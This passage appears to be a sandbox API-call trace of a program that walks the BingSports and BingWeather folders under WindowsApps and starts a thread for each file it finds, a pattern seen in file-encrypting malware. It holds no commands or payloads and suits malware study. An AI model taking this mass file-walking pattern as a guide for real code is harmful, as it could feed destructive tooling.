	[0077.704] wcscmp (_String1="resources.pri", _String2="..") returned 1
	[0077.705] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xba) returned 0x476c3b0
	[0077.705] wcscpy (in: _Dest=0x476c3b0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe"
	[0077.705] wcscat (in: _Dest=0x476c3b0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\"
	[0077.705] wcscat (in: _Dest=0x476c3b0, _Source="resources.pri" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\resources.pri") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\resources.pri"
	[0077.705] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x476c3b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4f4
	[0077.705] FindNextFileW (in: hFindFile=0x2d70f80, lpFindFileData=0x2dc1a10 | out: lpFindFileData=0x2dc1a10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c9edaa1, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x6c9edaa1, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x6cad2708, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0xe5200, dwReserved0=0x0, dwReserved1=0x0, cFileName="SQLite3Wrapper.dll", cAlternateFileName="")) returned 1
	[0077.705] wcscmp (_String1="SQLite3Wrapper.dll", _String2=".") returned 1
	[0077.705] wcscmp (_String1="SQLite3Wrapper.dll", _String2="..") returned 1
	[0077.706] FindNextFileW (in: hFindFile=0x2d70f80, lpFindFileData=0x2dc1a10 | out: lpFindFileData=0x2dc1a10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6cad2708, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x6cad2708, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x6cad2708, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="SQLiteWrapper.winmd", cAlternateFileName="")) returned 1
	[0077.706] wcscmp (_String1="SQLiteWrapper.winmd", _String2=".") returned 1
	[0077.706] wcscmp (_String1="SQLiteWrapper.winmd", _String2="..") returned 1
	[0077.706] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc6) returned 0x47ca210
	[0077.706] wcscpy (in: _Dest=0x47ca210, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe"
	[0077.706] wcscat (in: _Dest=0x47ca210, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\"
	[0077.706] wcscat (in: _Dest=0x47ca210, _Source="SQLiteWrapper.winmd" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\SQLiteWrapper.winmd") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\SQLiteWrapper.winmd"
	[0077.706] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x47ca210, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4f0
	[0077.706] FindNextFileW (in: hFindFile=0x2d70f80, lpFindFileData=0x2dc1a10 | out: lpFindFileData=0x2dc1a10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6caf896e, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa7447d9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6caf896e, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Themes", cAlternateFileName="")) returned 1
	[0077.706] wcscmp (_String1="Themes", _String2=".") returned 1
	[0077.706] wcscmp (_String1="Themes", _String2="..") returned 1
	[0077.706] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xac) returned 0x2ddb8d0
	[0077.707] wcscpy (in: _Dest=0x2ddb8d0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe"
	[0077.707] wcscat (in: _Dest=0x2ddb8d0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\"
	[0077.707] wcscat (in: _Dest=0x2ddb8d0, _Source="Themes" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Themes") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Themes"
	[0077.707] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2ddb8d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4ec
	[0077.707] FindNextFileW (in: hFindFile=0x2d70f80, lpFindFileData=0x2dc1a10 | out: lpFindFileData=0x2dc1a10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c2c683a, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa5d109a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6c2c683a, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="_Resources", cAlternateFileName="_RESOU~1")) returned 1
	[0077.707] wcscmp (_String1="_Resources", _String2=".") returned 1
	[0077.707] wcscmp (_String1="_Resources", _String2="..") returned 1
	[0077.707] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb4) returned 0x476a7a8
	[0077.708] wcscpy (in: _Dest=0x476a7a8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe"
	[0077.708] wcscat (in: _Dest=0x476a7a8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\"
	[0077.708] wcscat (in: _Dest=0x476a7a8, _Source="_Resources" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\_Resources") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\_Resources"
	[0077.708] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x476a7a8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4e8
	[0077.708] FindNextFileW (in: hFindFile=0x2d70f80, lpFindFileData=0x2dc1a10 | out: lpFindFileData=0x2dc1a10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c2c683a, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa5d109a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6c2c683a, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="_Resources", cAlternateFileName="_RESOU~1")) returned 0
	[0077.708] FindClose (in: hFindFile=0x2d70f80 | out: hFindFile=0x2d70f80) returned 1
	[0077.709] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dc1a10) returned 1
	[0077.709] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d614d0) returned 1
	[0077.709] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d7f310) returned 1

Thread:
	id = 258
	os_tid = 0x51c

	[0076.781] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xca) returned 0x2d6feb8
	[0076.781] wcscpy (in: _Dest=0x2d6feb8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_neutral_split.scale-100_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_neutral_split.scale-100_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_neutral_split.scale-100_8wekyb3d8bbwe"
	[0076.781] wcscat (in: _Dest=0x2d6feb8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_neutral_split.scale-100_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_neutral_split.scale-100_8wekyb3d8bbwe\\"
	[0076.781] wcscat (in: _Dest=0x2d6feb8, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_neutral_split.scale-100_8wekyb3d8bbwe\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_neutral_split.scale-100_8wekyb3d8bbwe\\*"
	[0076.781] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2dc1c78
	[0076.781] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_neutral_split.scale-100_8wekyb3d8bbwe\\*", lpFindFileData=0x2dc1c78 | out: lpFindFileData=0x2dc1c78*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2e476601, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb7a270e5, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xb7a270e5, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2d71400
	[0076.782] wcscmp (_String1=".", _String2=".") returned 0
	[0076.782] FindNextFileW (in: hFindFile=0x2d71400, lpFindFileData=0x2dc1c78 | out: lpFindFileData=0x2dc1c78*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2e476601, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb7a270e5, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xb7a270e5, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0076.782] wcscmp (_String1="..", _String2=".") returned 1
	[0076.782] wcscmp (_String1="..", _String2="..") returned 0
	[0076.782] FindNextFileW (in: hFindFile=0x2d71400, lpFindFileData=0x2dc1c78 | out: lpFindFileData=0x2dc1c78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e4c2aa1, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x2e4c2aa1, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x2e4c2aa1, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0xfdf, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxBlockMap.xml", cAlternateFileName="")) returned 1
	[0076.782] wcscmp (_String1="AppxBlockMap.xml", _String2=".") returned 1
	[0076.782] wcscmp (_String1="AppxBlockMap.xml", _String2="..") returned 1
	[0076.782] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe8) returned 0x4790c88
	[0076.782] wcscpy (in: _Dest=0x4790c88, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_neutral_split.scale-100_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_neutral_split.scale-100_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_neutral_split.scale-100_8wekyb3d8bbwe"
	[0076.782] wcscat (in: _Dest=0x4790c88, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_neutral_split.scale-100_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_neutral_split.scale-100_8wekyb3d8bbwe\\"
	[0076.782] wcscat (in: _Dest=0x4790c88, _Source="AppxBlockMap.xml" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_neutral_split.scale-100_8wekyb3d8bbwe\\AppxBlockMap.xml") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_neutral_split.scale-100_8wekyb3d8bbwe\\AppxBlockMap.xml"
	[0077.122] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4790c88, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9f0
	[0077.122] FindNextFileW (in: hFindFile=0x2d71400, lpFindFileData=0x2dc1c78 | out: lpFindFileData=0x2dc1c78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e476601, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x2e476601, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x2e476601, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x34e, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxManifest.xml", cAlternateFileName="")) returned 1
	[0077.123] wcscmp (_String1="AppxManifest.xml", _String2=".") returned 1
	[0077.123] wcscmp (_String1="AppxManifest.xml", _String2="..") returned 1
	[0077.123] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe8) returned 0x2e023a0
	[0077.123] wcscpy (in: _Dest=0x2e023a0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_neutral_split.scale-100_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_neutral_split.scale-100_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_neutral_split.scale-100_8wekyb3d8bbwe"
	[0077.123] wcscat (in: _Dest=0x2e023a0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_neutral_split.scale-100_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_neutral_split.scale-100_8wekyb3d8bbwe\\"
	[0077.123] wcscat (in: _Dest=0x2e023a0, _Source="AppxManifest.xml" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_neutral_split.scale-100_8wekyb3d8bbwe\\AppxManifest.xml") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_neutral_split.scale-100_8wekyb3d8bbwe\\AppxManifest.xml"
	[0077.123] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2e023a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc28
	[0077.123] FindNextFileW (in: hFindFile=0x2d71400, lpFindFileData=0x2dc1c78 | out: lpFindFileData=0x2dc1c78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e4c2aa1, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x2e4fcf04, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x2e4fcf04, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x2980, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxSignature.p7x", cAlternateFileName="")) returned 1
	[0077.123] wcscmp (_String1="AppxSignature.p7x", _String2=".") returned 1
	[0077.123] wcscmp (_String1="AppxSignature.p7x", _String2="..") returned 1
	[0077.123] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xea) returned 0x2d8a3f0
	[0077.123] wcscpy (in: _Dest=0x2d8a3f0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_neutral_split.scale-100_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_neutral_split.scale-100_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_neutral_split.scale-100_8wekyb3d8bbwe"
	[0077.123] wcscat (in: _Dest=0x2d8a3f0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_neutral_split.scale-100_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_neutral_split.scale-100_8wekyb3d8bbwe\\"
	[0077.124] wcscat (in: _Dest=0x2d8a3f0, _Source="AppxSignature.p7x" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_neutral_split.scale-100_8wekyb3d8bbwe\\AppxSignature.p7x") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_neutral_split.scale-100_8wekyb3d8bbwe\\AppxSignature.p7x"
	[0077.124] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2d8a3f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc2c
	[0077.124] FindNextFileW (in: hFindFile=0x2d71400, lpFindFileData=0x2dc1c78 | out: lpFindFileData=0x2dc1c78*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2e4fcf04, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xaa7d9181, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2e4fcf04, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Assets", cAlternateFileName="")) returned 1
	[0077.124] wcscmp (_String1="Assets", _String2=".") returned 1
	[0077.124] wcscmp (_String1="Assets", _String2="..") returned 1
	[0077.124] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd4) returned 0x2e02490
	[0077.124] wcscpy (in: _Dest=0x2e02490, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_neutral_split.scale-100_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_neutral_split.scale-100_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_neutral_split.scale-100_8wekyb3d8bbwe"
	[0077.124] wcscat (in: _Dest=0x2e02490, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_neutral_split.scale-100_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_neutral_split.scale-100_8wekyb3d8bbwe\\"
	[0077.124] wcscat (in: _Dest=0x2e02490, _Source="Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets"
	[0077.124] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2e02490, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc30
	[0077.125] FindNextFileW (in: hFindFile=0x2d71400, lpFindFileData=0x2dc1c78 | out: lpFindFileData=0x2dc1c78*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xb7a270e5, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0xb7a270e5, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xb7a270e5, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="microsoft.system.package.metadata", cAlternateFileName="MICROS~1.MET")) returned 1
	[0077.125] wcscmp (_String1="microsoft.system.package.metadata", _String2=".") returned 1
	[0077.125] wcscmp (_String1="microsoft.system.package.metadata", _String2="..") returned 1
	[0077.125] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x10a) returned 0x2e02570
	[0077.125] wcscpy (in: _Dest=0x2e02570, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_neutral_split.scale-100_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_neutral_split.scale-100_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_neutral_split.scale-100_8wekyb3d8bbwe"
	[0077.125] wcscat (in: _Dest=0x2e02570, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_neutral_split.scale-100_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_neutral_split.scale-100_8wekyb3d8bbwe\\"
	[0077.125] wcscat (in: _Dest=0x2e02570, _Source="microsoft.system.package.metadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_neutral_split.scale-100_8wekyb3d8bbwe\\microsoft.system.package.metadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_neutral_split.scale-100_8wekyb3d8bbwe\\microsoft.system.package.metadata"
	[0077.126] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2e02570, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc34
	[0077.126] FindNextFileW (in: hFindFile=0x2d71400, lpFindFileData=0x2dc1c78 | out: lpFindFileData=0x2dc1c78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e622b9b, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x2e648df4, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x2e648df4, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0xa70, dwReserved0=0x0, dwReserved1=0x0, cFileName="resources.pri", cAlternateFileName="")) returned 1
	[0077.126] wcscmp (_String1="resources.pri", _String2=".") returned 1
	[0077.126] wcscmp (_String1="resources.pri", _String2="..") returned 1
	[0077.126] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe2) returned 0x2e02688
	[0077.126] wcscpy (in: _Dest=0x2e02688, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_neutral_split.scale-100_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_neutral_split.scale-100_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_neutral_split.scale-100_8wekyb3d8bbwe"
	[0077.126] wcscat (in: _Dest=0x2e02688, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_neutral_split.scale-100_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_neutral_split.scale-100_8wekyb3d8bbwe\\"
	[0077.126] wcscat (in: _Dest=0x2e02688, _Source="resources.pri" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_neutral_split.scale-100_8wekyb3d8bbwe\\resources.pri") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_neutral_split.scale-100_8wekyb3d8bbwe\\resources.pri"
	[0077.126] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2e02688, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc38
	[0077.127] FindNextFileW (in: hFindFile=0x2d71400, lpFindFileData=0x2dc1c78 | out: lpFindFileData=0x2dc1c78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e622b9b, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x2e648df4, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x2e648df4, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0xa70, dwReserved0=0x0, dwReserved1=0x0, cFileName="resources.pri", cAlternateFileName="")) returned 0
	[0077.127] FindClose (in: hFindFile=0x2d71400 | out: hFindFile=0x2d71400) returned 1
	[0077.128] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dc1c78) returned 1
	[0077.128] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d6feb8) returned 1
	[0077.128] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d7e6e8) returned 1

Thread:
	id = 259
	os_tid = 0x4bc

	[0076.783] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xae) returned 0x2d7d900
	[0076.783] wcscpy (in: _Dest=0x2d7d900, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_neutral_~_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_neutral_~_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_neutral_~_8wekyb3d8bbwe"
	[0076.783] wcscat (in: _Dest=0x2d7d900, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_neutral_~_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_neutral_~_8wekyb3d8bbwe\\"
	[0076.783] wcscat (in: _Dest=0x2d7d900, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_neutral_~_8wekyb3d8bbwe\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_neutral_~_8wekyb3d8bbwe\\*"
	[0076.783] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2dc2148
